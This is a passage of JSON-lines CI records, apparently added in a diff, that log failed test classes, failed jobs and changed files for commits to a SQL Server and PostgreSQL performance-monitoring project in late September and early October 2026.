ReadTests.cs","Lite.Tests/ServerClockAsTimeZoneTests.cs","Lite.Tests/ServerTabChartUtcFrameTests.cs","Lite.Tests/ServerTabChartWindowTests.cs","Lite.Tests/ServerTabDrillWindowTests.cs","Lite.Tests/ServerTabHeldRangeTests.cs","Lite.Tests/ServerTimeHelperClockTests.cs","Lite.Tests/ServerTimeHelperCollectionTests.cs","Lite.Tests/TimeHonestyRungTests.cs","Lite.Tests/TimeRangeSlicerLabelsTests.cs","Lite.Tests/TimeWindowsTests.cs","Lite.Tests/TypedBoundTests.cs","Lite.Tests/WindowedReadServerClockTests.cs","Lite/Analysis/Recommendations/LiteRecommendationsViewModel.cs","Lite/App.xaml.cs","Lite/Controls/AlertsHistoryTab.xaml.cs","Lite/Controls/CorrelatedTimelineLanesControl.xaml.cs","Lite/Controls/FinOpsTab.xaml.cs","Lite/Controls/RecommendationsTab.xaml.cs","Lite/Controls/ServerTab.BlockChain.cs","Lite/Controls/ServerTab.BlockingStats.cs","Lite/Controls/ServerTab.Charts.cs","Lite/Controls/ServerTab.Comparison.cs","Lite/Controls/ServerTab.ConfigChanges.cs","Lite/Controls/ServerTab.CpuScheduler.cs","Lite/Controls/ServerTab.DailySummary.cs","Lite/Controls/ServerTab.DrillDown.cs","Lite/Controls/ServerTab.Grids.cs","Lite/Controls/ServerTab.LatchSpinlock.cs","Lite/Controls/ServerTab.Pickers.cs","Lite/Controls/ServerTab.PlanCache.cs","Lite/Controls/ServerTab.Refresh.cs","Lite/Controls/ServerTab.SessionStats.cs","Lite/Controls/ServerTab.Slicers.cs","Lite/Controls/ServerTab.SystemEvents.cs","Lite/Controls/ServerTab.SystemHealthCharts.cs","Lite/Controls/ServerTab.TimeRange.cs","Lite/Controls/ServerTab.xaml.cs","Lite/Controls/TimeRangeSlicerControl.xaml.cs","Lite/Helpers/ContextMenuHelper.cs","Lite/MainWindow.xaml.cs","Lite/Mcp/McpBlockingTools.cs","Lite/Services/LocalDataService.AlertHistory.cs","Lite/Services/LocalDataService.Blocking.cs","Lite/Services/LocalDataService.BlockingStats.cs","Lite/Services/LocalDataService.CollectionHealth.cs","Lite/Services/LocalDataService.ConfigChanges.cs","Lite/Services/LocalDataService.Cpu.cs","Lite/Services/LocalDataService.CpuScheduler.cs","Lite/Services/LocalDataService.Discontinuities.cs","Lite/Services/LocalDataService.FileIo.cs","Lite/Services/LocalDataService.LatchSpinlock.cs","Lite/Services/LocalDataService.LongQueries.cs","Lite/Services/LocalDataService.Memory.cs","Lite/Services/LocalDataService.MemoryGrants.cs","Lite/Services/LocalDataService.Perfmon.cs","Lite/Services/LocalDataService.PlanCache.cs","Lite/Services/LocalDataService.PlanCorrection.cs","Lite/Services/LocalDataService.QueryHeatmap.cs","Lite/Services/LocalDataService.QueryStats.cs","Lite/Services/LocalDataService.QueryStore.cs","Lite/Services/LocalDataService.QueryStoreRegressions.cs","Lite/Services/LocalDataService.SessionStats.cs","Lite/Services/LocalDataService.SystemEvents.cs","Lite/Services/LocalDataService.TempDb.cs","Lite/Services/LocalDataService.TrendBuckets.cs","Lite/Services/LocalDataService.WaitStats.cs","Lite/Services/LocalDataService.WaitingTasks.cs","Lite/Services/LocalDataService.cs","Lite/Services/ServerTimeHelper.cs","Lite/Windows/ProcedureHistoryWindow.xaml.cs","Lite/Windows/QueryStatsHistoryWindow.xaml.cs","Lite/Windows/QueryStoreHistoryWindow.xaml.cs","Lite/Windows/WaitDrillDownWindow.xaml.cs","PerformanceMonitor.Analysis/Baselines/ServerClock.cs","PerformanceMonitor.Ui/AxesExtensions.cs","PerformanceMonitor.Ui/ChartHoverHelper.cs","PerformanceMonitor.Ui/CorrelatedCrosshairManager.cs","PerformanceMonitor.Ui/CpuSchedulerChartRenderer.cs","PerformanceMonitor.Ui/CustomRangeState.cs","PerformanceMonitor.Ui/DisplayZone.cs","PerformanceMonitor.Ui/DisplayZoneTickGenerator.cs","PerformanceMonitor.Ui/GroupedTrendChartRenderer.cs","PerformanceMonitor.Ui/SessionStatsChartRenderer.cs","PerformanceMonitor.Ui/SystemHealthChartRenderer.cs","PerformanceMonitor.Ui/TimeWindows.cs"],"failed_classes":["Darling.Tests.ConsumedTimestampFrameDisciplineTests","Darling.Tests.PgLogBurstAndRotationLiveTests","Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["Darling PG tests (1)","Darling PG tests (0)","Darling PG tests (2)","build"]}
+{"date":"2026-09-30","head_sha":"e01fa13f0137865f98527c36398d4bf0430ba47b","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/CheckpointSyncSamplerTests.cs","Darling/Darling.Tests/ConnectionAlertFailedSendRetryTests.cs","Darling/Darling.Tests/CustomAlertClockStepTests.cs","Darling/Darling.Tests/FailedSendRetryTrackerClockStepTests.cs","Darling/Darling.Tests/FailedSendRetryTrackerTests.cs","Darling/Darling.Tests/FleetGateSignalTests.cs","Darling/Darling.Tests/FleetGateSkipCreditTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/OversizedPlanBacklogPins.cs","Darling/Darling.Tests/PurgeNowBackgroundTests.cs","Darling/Darling.Tests/RetentionReevaluationTests.cs","Darling/Darling.Tests/SelfAlertFailedSendCensusTests.cs","Darling/Darling.Tests/ServerConnectPolicyTests.cs","Darling/Darling.Tests/StoreToastAndCheckpointerTests.cs","Darling/Darling.Tests/TimescaleAvailabilityReprobeTests.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeStoreAvailability.cs","Darling/PerformanceMonitor.Darling.Service/CustomAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/FleetGateStats.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Service/OversizedPlanBacklogSweep.cs","Darling/README.md","Lite.Tests/AgAlertFailedSendRetryTests.cs","Lite.Tests/ArchiveResetRetryClockStepTests.cs","Lite.Tests/CollectionCycleResumeTests.cs","Lite.Tests/CollectorGridScheduleTests.cs","Lite.Tests/ConnectionAlertRetryInFlightTests.cs","Lite.Tests/HousekeepingClockStepTests.cs","Lite/MainWindow.xaml.cs","Lite/Services/AgAlertEvaluator.cs","Lite/Services/ArchiveService.cs","Lite/Services/CollectionBackgroundService.cs","Lite/Services/ConnectionAlertSendsInFlight.cs","Lite/Services/RemoteCollectorService.BlockedProcessReport.cs","Lite/Services/RemoteCollectorService.cs","Lite/Services/ScheduleManager.cs","PerformanceMonitor.Alerting/FailedSendRetryTracker.cs","PerformanceMonitor.Collectors/CollectorCadence.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Notifications/AlertFamily.cs"],"failed_classes":["Darling.Tests.PgTargetAnomalyTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-30","head_sha":"7ed8c5e1f84bd3c91b34154582f96e091d53e37d","event":"pull_request","changed_files":["Darling/Darling.Tests/AlertCooldownClockStepTests.cs","Darling/Darling.Tests/AlertReadFailureSurfaceTests.cs","Darling/Darling.Tests/CheckpointSyncSamplerTests.cs","Darling/Darling.Tests/ConnectionAlertFailedSendRetryTests.cs","Darling/Darling.Tests/CustomAlertClockStepTests.cs","Darling/Darling.Tests/FailedSendRetryTrackerClockStepTests.cs","Darling/Darling.Tests/FailedSendRetryTrackerTests.cs","Darling/Darling.Tests/FleetGateSignalTests.cs","Darling/Darling.Tests/FleetGateSkipCreditTests.cs","Darling/Darling.Tests/NotificationRoutingTests.cs","Darling/Darling.Tests/OversizedPlanBacklogPins.cs","Darling/Darling.Tests/PurgeNowBackgroundTests.cs","Darling/Darling.Tests/RetentionReevaluationTests.cs","Darling/Darling.Tests/SelfAlertFailedSendCensusTests.cs","Darling/Darling.Tests/ServerConnectPolicyTests.cs","Darling/Darling.Tests/StoreToastAndCheckpointerTests.cs","Darling/Darling.Tests/TimescaleAvailabilityReprobeTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgBaselineProvider.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeStoreAvailability.cs","Darling/PerformanceMonitor.Darling.Service/CustomAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCollectorRunner.cs","Darling/PerformanceMonitor.Darling.Service/DarlingSelfAlertEvaluator.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/FleetGateStats.cs","Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingHttpRefusalLog.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Service/OversizedPlanBacklogSweep.cs","Darling/PerformanceMonitor.Darling.Service/Targets/RdsLogSource.cs","Darling/PerformanceMonitor.Darling.Viewer/AlertToastCoordinator.cs","Darling/README.md","Lite.Tests/AgAlertClockStepTests.cs","Lite.Tests/AgAlertFailedSendRetryTests.cs","Lite.Tests/ArchiveResetRetryClockStepTests.cs","Lite.Tests/CollectionCycleResumeTests.cs","Lite.Tests/CollectorGridScheduleTests.cs","Lite.Tests/ConnectionAlertRetryInFlightTests.cs","Lite.Tests/HousekeepingClockStepTests.cs","Lite/MainWindow.xaml.cs","Lite/Services/AgAlertEvaluator.cs","Lite/Services/ArchiveService.cs","Lite/Services/CollectionBackgroundService.cs","Lite/Services/ConnectionAlertSendsInFlight.cs","Lite/Services/RemoteCollectorService.BlockedProcessReport.cs","Lite/Services/RemoteCollectorService.cs","Lite/Services/ScheduleManager.cs","PerformanceMonitor.Alerting/AlertEngine.cs","PerformanceMonitor.Alerting/FailedSendRetryTracker.cs","PerformanceMonitor.Collectors/CollectorCadence.cs","PerformanceMonitor.Collectors/PgReadBinaryFileAdvisory.cs","PerformanceMonitor.Common/AlertMetricClassifier.cs","PerformanceMonitor.Common/LastFiredStamp.cs","PerformanceMonitor.Notifications/AlertFamily.cs","PerformanceMonitor.Notifications/AnalysisNotificationService.cs","PerformanceMonitor.Notifications/IncidentCooldown.cs","PerformanceMonitor.Notifications/RepeatDeliveryBudget.cs"],"failed_classes":["Darling.Tests.PgTargetAnomalyTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-30","head_sha":"8aa1cfbaa1fc300085b6663beb2a3f3cf4eac5a3","event":"pull_request","changed_files":["Darling/Darling.Tests/CountFamilyZeroHistoryTests.cs","Darling/Darling.Tests/DarlingAnomalyBaselineTests.cs","Darling/Darling.Tests/DarlingEventBaselineCoverageReadPlanShapeLiveTests.cs","Darling/Darling.Tests/DarlingEventBaselineCoveredDaysTests.cs","Darling/Darling.Tests/LocalClockBucketKeyTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/PerformanceMonitor.Darling.Analysis/BaselineCache.cs","Darling/PerformanceMonitor.Darling.Analysis/PgBaselineProvider.cs","Lite.Tests/ConnectionThrottlePerAttemptTests.cs","Lite.Tests/CountFamilyZeroHistoryTests.cs","Lite.Tests/EventBaselineCoveredDaysTests.cs","Lite.Tests/LocalClockBucketKeyTests.cs","Lite.Tests/ScenarioTests.cs","Lite.Tests/SqlExceptionFactory.cs","Lite.Tests/SwallowedItemFailureTests.cs","Lite.Tests/TestDataSeeder.cs","Lite.Tests/XeSessionHealthTests.cs","Lite/Analysis/BaselineProvider.cs","Lite/MainWindow.xaml.cs","Lite/Services/LocalDataService.CollectionHealth.cs","Lite/Services/RemoteCollectorService.BlockedProcessReport.cs","Lite/Services/RemoteCollectorService.Deadlocks.cs","Lite/Services/RemoteCollectorService.LongQueryCompletions.cs","Lite/Services/RemoteCollectorService.cs","PerformanceMonitor.Analysis/Baselines/CountFamilyMetadata.cs"],"failed_classes":["Darling.Tests.DarlingEventBaselineCoverageReadPlanShapeLiveTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-30","head_sha":"93d34a73cde110dc5a2017b3695ed591787fee94","event":"pull_request","changed_files":["Darling/Darling.Tests/AnomalyTileWindowEndTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgAnomalyDetector.cs","Lite.Tests/AnomalyTileWindowEndTests.cs","Lite/Analysis/AnomalyDetector.cs"],"failed_classes":["Darling.Tests.RollupBackfillLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-30","head_sha":"48481a3766ddd412ae8dfd702eb7fb052044a660","event":"pull_request","changed_files":["Darling/Darling.Tests/RollupBackfillLiveTests.cs"],"failed_classes":["Darling.Tests.RollupBackfillLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-30","head_sha":"e95166c21cc35aeb56fe02faa1485a5cbf0f5b91","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingMcpTrendToolsTests.cs","Darling/Darling.Tests/HourlyWindowEdgesTests.cs","Darling/Darling.Tests/QueryStoreTrendRoutingTests.cs","Darling/Darling.Tests/RollupWindowEndBoundLiveTests.cs","Darling/Darling.Tests/RollupWindowEndBoundTests.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeCompiler.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingTrendReader.cs","Darling/PerformanceMonitor.Darling.Storage/DurationTrendRouting.cs","Darling/PerformanceMonitor.Darling.Storage/HourlyWindowEdges.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreTrendRouting.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ProcedureStats.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStats.cs"],"failed_classes":["Darling.Tests.RollupWindowEndBoundLiveTests","Darling.Tests.ViewerTrendRoutingLivePostgresTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (1)"]}
+{"date":"2026-09-30","head_sha":"f12072caa9ea6524a401ced7969e355679aac7ba","event":"push","changed_files":["Darling/Darling.Tests/DarlingMcpTrendToolsTests.cs","Darling/Darling.Tests/HourlyAttributionSpanTests.cs","Darling/Darling.Tests/HourlyWindowEdgesTests.cs","Darling/Darling.Tests/QueryStoreTrendRoutingTests.cs","Darling/Darling.Tests/RollupWindowEndBoundLiveTests.cs","Darling/Darling.Tests/RollupWindowEndBoundTests.cs","Darling/Darling.Tests/ViewerTrendRoutingPortTests.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeCompiler.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingTrendReader.cs","Darling/PerformanceMonitor.Darling.Storage/DurationTrendRouting.cs","Darling/PerformanceMonitor.Darling.Storage/HourlyWindowEdges.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreTrendRouting.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ProcedureStats.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStats.cs"],"failed_classes":["Darling.Tests.PgTargetDeadlockDrillDownTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-30","head_sha":"3230e3859c276d771fc9990a34903eca8e25fa20","event":"pull_request","changed_files":["Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfRehearsalTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/README.md"],"failed_classes":["Darling.Tests.ManagedConfFileLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-30","head_sha":"8e13b562d28478554773efd035b2bd05cc740516","event":"pull_request","changed_files":["Darling/Darling.Tests/ComposeQueryStoreWideExactnessLiveTests.cs","Darling/Darling.Tests/DarlingComposeTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideFirstExecFloorTests.cs","Darling/PerformanceMonitor.Darling.Service/Compose/ComposeCompiler.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWide.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStore.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryTrends.cs"],"failed_classes":["Darling.Tests.DarlingManagedPostgresTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-30","head_sha":"8c850b6fba36f9262a6ffa7640678bd8681350db","event":"push","changed_files":["Darling/Darling.Tests/QueryStoreIntervalWideBrinIndexLiveTests.cs","Darling/Darling.Tests/QueryStoreIntervalWideBrinIndexTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Storage/QueryStoreIntervalWideBrinIndex.cs"],"failed_classes":["Darling.Tests.DarlingDeployStaleFileTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-30","head_sha":"d6c02bf28a397be61b6451a6b68d9565bcc04b13","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/MoveDirectoryOnceReleasedTests.cs"],"failed_classes":["Darling.Tests.DarlingStoreUpgradeRevertTests"],"failed_jobs":["build"]}
+{"date":"2026-09-30","head_sha":"1c0ceba428267369c5ec364a70112e795b43f9ae","event":"pull_request","changed_files":["Lite.Tests/McpToolGuideHeads.AnalyzeProcedurePlan.cs","Lite.Tests/McpToolGuideHeads.AnalyzeQueryPlan.cs","Lite.Tests/McpToolsListBudget/McpPlanTools.txt","Lite.Tests/PlanToolsNotKeptTests.cs","Lite/Mcp/McpPlanTools.cs"],"failed_classes":["Darling.Tests.CollectorEngineCapabilityTests","Darling.Tests.EngineCapabilityReadWiringTests","Darling.Tests.McpToolGuideTests"],"failed_jobs":["build"]}
+{"date":"2026-10-01","head_sha":"cd500fb11383cee3a29ff41d04da7c40d2b34817","event":"pull_request","changed_files":["Darling/Darling.Tests/AzureSqlDatabaseHardwareTests.cs","Darling/Darling.Tests/AzureSqlDatabaseHostLeftoversTests.cs","Darling/Darling.Tests/AzureSqlDatabaseHostMathTests.cs","Darling/Darling.Tests/AzureSqlDatabaseMemoryScopeTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Config.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Resources.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/view-templates.js","Darling/PerformanceMonitor.Darling.Storage/DarlingServerMetadataReader.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Loaders.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.xaml","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Inventory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Utilization.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Memory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Memory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml","Lite.Tests/AzureSqlDatabaseHardwareTests.cs","Lite.Tests/AzureSqlDatabaseHostLeftoversTests.cs","Lite.Tests/AzureSqlDatabaseHostMathTests.cs","Lite.Tests/AzureSqlDatabaseMemoryScopeTests.cs","Lite.Tests/FinOpsTests.cs","Lite.Tests/MemoryCollectorsDefinitionTests.cs","Lite.Tests/TestDataSeeder.cs","Lite/Analysis/DrillDownCollector.Plans.cs","Lite/Analysis/DuckDbFactCollector.Config.cs","Lite/Analysis/DuckDbFactCollector.Resources.cs","Lite/Controls/FinOpsTab.xaml","Lite/Controls/FinOpsTab.xaml.cs","Lite/Controls/ServerTab.Charts.cs","Lite/Controls/ServerTab.xaml","Lite/Mcp/McpAnalysisTools.cs","Lite/Mcp/McpMemoryTools.cs","Lite/Mcp/McpQueryTools.cs","Lite/Mcp/McpServerInfoTools.cs","Lite/Services/LocalDataService.FinOps.ServerProperties.cs","Lite/Services/LocalDataService.FinOps.Utilization.cs","Lite/Services/LocalDataService.FinOps.cs","Lite/Services/LocalDataService.Memory.cs","Lite/Services/LocalDataService.PlanServerMetadata.cs","Lite/Services/LocalDataService.ServerInfo.cs","PerformanceMonitor.Analysis/FactAdvice.cs","PerformanceMonitor.Analysis/FactCollectorHelpers.cs","PerformanceMonitor.Analysis/FactRemediation.cs","PerformanceMonitor.Collectors/MemoryStatsCollector.cs","PerformanceMonitor.Common/CpuAttribution.cs","PerformanceMonitor.Common/ProvisioningVerdict.cs","PerformanceMonitor.Common/ServerHardwareScope.cs","PerformanceMonitor.PlanAnalysis/ServerContextCard.cs","PerformanceMonitor.PlanAnalysis/ServerMetadata.cs"],"failed_classes":["Darling.Tests.DarlingMcpDataToolsLivePostgresTests","Darling.Tests.ViewerMemoryLivePostgresTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (1)"]}
+{"date":"2026-10-01","head_sha":"111f91096d9fd1da0ebd0c97c7e36eba846810e3","event":"pull_request","changed_files":["Lite.Tests/ArchiveResetRestoresStateTests.cs"],"failed_classes":["PerformanceMonitorLite.Tests.ArchiveResetRestoresStateTests"],"failed_jobs":["Lite tests (0)"]}
+{"date":"2026-10-01","head_sha":"67bf55c45aa76ce927c4ca8173bb32c97547031b","event":"pull_request","changed_files":["Lite.Tests/ArchivePreservedStateTablesTests.cs","Lite.Tests/ArchiveResetRestoresStateTests.cs","Lite.Tests/ArchiveWatermarkCacheTests.cs","Lite/Database/DuckDbInitializer.cs","Lite/Services/ArchiveService.cs","Lite/Services/ArchiveWatermarkCache.cs","Lite/Services/RemoteCollectorService.cs"],"failed_classes":["Darling.Tests.ClipboardTextRetryBudgetTests"],"failed_jobs":["build"]}
+{"date":"2026-10-01","head_sha":"3b79ba261ac8f37fba0dbb88e13e7fe233300b95","event":"pull_request","changed_files":["Darling/Darling.Tests/AzureSqlDatabaseHardwareTests.cs","Darling/Darling.Tests/AzureSqlDatabaseHostMathTests.cs","Darling/Darling.Tests/AzureSqlDatabaseMemoryScopeTests.cs","Darling/Darling.Tests/AzureSqlDatabaseOwnFiguresTests.cs","Darling/Darling.Tests/TimeHonestyRungTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Config.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.Resources.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/panels.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/view-templates.js","Darling/PerformanceMonitor.Darling.Storage/DarlingServerMetadataReader.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.Loaders.cs","Darling/PerformanceMonitor.Darling.Viewer/FinOpsTab.xaml","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Inventory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.Utilization.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.FinOps.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Memory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Memory.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml","Lite.Tests/AuditConfigEditionTests.cs","Lite.Tests/AzureSqlDatabaseHardwareTests.cs","Lite.Tests/AzureSqlDatabaseHostMathTests.cs","Lite.Tests/AzureSqlDatabaseMemoryScopeTests.cs","Lite.Tests/AzureSqlDatabaseOwnFiguresTests.cs","Lite.Tests/FinOpsTests.cs","Lite.Tests/MemoryCollectorsDefinitionTests.cs","Lite.Tests/TestDataSeeder.cs","Lite/Analysis/DrillDownCollector.Plans.cs","Lite/Analysis/DuckDbFactCollector.Config.cs","Lite/Analysis/DuckDbFactCollector.Resources.cs","Lite/Controls/FinOpsTab.xaml","Lite/Controls/FinOpsTab.xaml.cs","Lite/Controls/ServerTab.Charts.cs","Lite/Controls/ServerTab.xaml","Lite/Mcp/McpAnalysisTools.cs","Lite/Mcp/McpMemoryTools.cs","Lite/Mcp/McpQueryTools.cs","Lite/Mcp/McpServerInfoTools.cs","Lite/Services/LocalDataService.FinOps.ServerProperties.cs","Lite/Services/LocalDataService.FinOps.Utilization.cs","Lite/Services/LocalDataService.FinOps.cs","Lite/Services/LocalDataService.Memory.cs","Lite/Services/LocalDataService.PlanServerMetadata.cs","Lite/Services/LocalDataService.ServerInfo.cs","PerformanceMonitor.Analysis/FactAdvice.cs","PerformanceMonitor.Analysis/FactCollectorHelpers.cs","PerformanceMonitor.Analysis/FactRemediation.cs","PerformanceMonitor.Collectors/MemoryStatsCollector.cs","PerformanceMonitor.Common/CpuAttribution.cs","PerformanceMonitor.Common/ProvisioningVerdict.cs","PerformanceMonitor.Common/ServerHardwareScope.cs","PerformanceMonitor.PlanAnalysis/ServerContextCard.cs","PerformanceMonitor.PlanAnalysis/ServerMetadata.cs"],"failed_classes":["Darling.Tests.DarlingMcpDataToolsLivePostgresTests","Darling.Tests.ViewerMemoryLivePostgresTests"],"failed_jobs":["Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-10-01","head_sha":"4bc2f89822bd877607d3231febdcc28956ae136f","event":"pull_request","changed_files":["Darling/Darling.Tests/ClipboardTextRetryBudgetTests.cs","Lite.Tests/ArchivePreservedStateTablesTests.cs","Lite.Tests/ArchiveResetRestoreByNameTests.cs","Lite.Tests/ArchiveResetRestoresStateTests.cs","Lite.Tests/ArchiveWatermarkCacheTests.cs","Lite.Tests/ArchiveWatermarkGreaterOfTests.cs","Lite/Database/DuckDbInitializer.cs","Lite/Services/ArchiveService.cs","Lite/Services/ArchiveWatermarkCache.cs","Lite/Services/RemoteCollectorService.cs"],"failed_classes":["PerformanceMonitorLite.Tests.ArchiveResetRestoreByNameTests","PerformanceMonitorLite.Tests.ArchiveWatermarkGreaterOfTests"],"failed_jobs":["Lite tests (1)","Lite tests (3)"]}
+{"date":"2026-10-01","head_sha":"642824844ce83c1b51046f2b32248d1d21c39e14","event":"pull_request","changed_files":["Darling/Darling.Tests/ClipboardTextRetryBudgetTests.cs","Lite.Tests/ArchivePreservedStateTablesTests.cs","Lite.Tests/ArchiveResetRestoreByNameTests.cs","Lite.Tests/ArchiveResetRestoresStateTests.cs","Lite.Tests/ArchiveWatermarkCacheTests.cs","Lite.Tests/ArchiveWatermarkGreaterOfTests.cs","Lite/Database/DuckDbInitializer.cs","Lite/Services/ArchiveService.cs","Lite/Services/ArchiveWatermarkCache.cs","Lite/Services/DuckDbAlertHistoryStore.cs","Lite/Services/RemoteCollectorService.QueryStoreBackfill.cs","Lite/Services/RemoteCollectorService.cs"],"failed_classes":["Lite.Tests.QueryStoreBackfillReadFailureWarningTests"],"failed_jobs":["Lite tests (1)"]}
+{"date":"2026-10-01","head_sha":"6ad569e59da599df5925a1adc81ec73c5ad5a902","event":"pull_request","changed_files":["Darling/Darling.Tests/ClipboardTextRetryBudgetTests.cs","Lite.Tests/ArchivePreservedStateTablesTests.cs","Lite.Tests/ArchiveResetRestoreByNameTests.cs","Lite.Tests/ArchiveResetRestoresStateTests.cs","Lite.Tests/ArchiveWatermarkCacheTests.cs","Lite.Tests/ArchiveWatermarkGreaterOfTests.cs","Lite/Database/DuckDbInitializer.cs","Lite/Services/ArchiveService.cs","Lite/Services/ArchiveWatermarkCache.cs","Lite/Services/DuckDbAlertHistoryStore.cs","Lite/Services/RemoteCollectorService.QueryStoreBackfill.cs","Lite/Services/RemoteCollectorService.cs"],"failed_classes":["Lite.Tests.QueryStoreBackfillReadFailureWarningTests","PerformanceMonitorLite.Tests.ArchiveResetRestoresStateTests"],"failed_jobs":["Lite tests (1)","Lite tests (0)"]}
